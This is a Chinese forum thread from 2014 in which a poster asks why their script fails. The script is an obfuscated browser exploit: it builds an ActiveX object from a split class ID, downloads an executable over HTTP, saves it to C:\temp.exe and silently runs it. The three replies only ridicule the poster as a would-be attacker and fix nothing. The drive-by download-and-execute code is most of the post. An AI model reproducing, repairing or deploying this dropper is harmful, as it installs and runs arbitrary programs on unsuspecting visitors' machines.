日期:2014-05-16  浏览次数:20303 次

各位帮忙看看, 用JS 下载 EXE 并执行 ,为什么不行??
<head>
<SCRIPT>


var   url,path;
url= "http://localhost/temp.exe ";
path= "C:\temp.exe ";

var   ado=(document.createElement( "object "));
c1   = "clsid:BD "
c2= "96C556-65A3-11 "
c3= "D0-983A-00C04F "
c4= "C29E36 "
ado.setAttribute( "classid ",   c1+c2+c3+c4);

CAOi= "Microsoft.XMLHTTP ";
var   xml=ado.CreateObject(CAOi);
 
b1= "A "
b2= "do "
b3= "db "
b4= ". "
b5= "st "
b6= "re "
b7= "am "
var   as=ado.createobject(b1+b2+b3+b4+b5+b6+b7, " ");
a1= "G "
a2= "E "
a3= "T "

xml.Open(a1+a2+a3,url,0);
xml.Send();

as.type=1;as.open();
as.write(xml.responseBody);
as.savetofile(path,2);
var   shell=ado.createobject( "Shell.Application ", " ");
as.close();
shell.Shell(path, " ", " ", "open ",0);

</SCRIPT>
</head>

<html>


下载并运行
</html>


------解决方案--------------------
我晕,这么容易何来安全可言?
------解决方案--------------------
lz想要干什么?呵呵,危险份子哦
^_^
------解决方案--------------------
这个偶没研究过,有些是利用图片或css的格式先下载再执行的,bs这种会点小技术就发坏的人。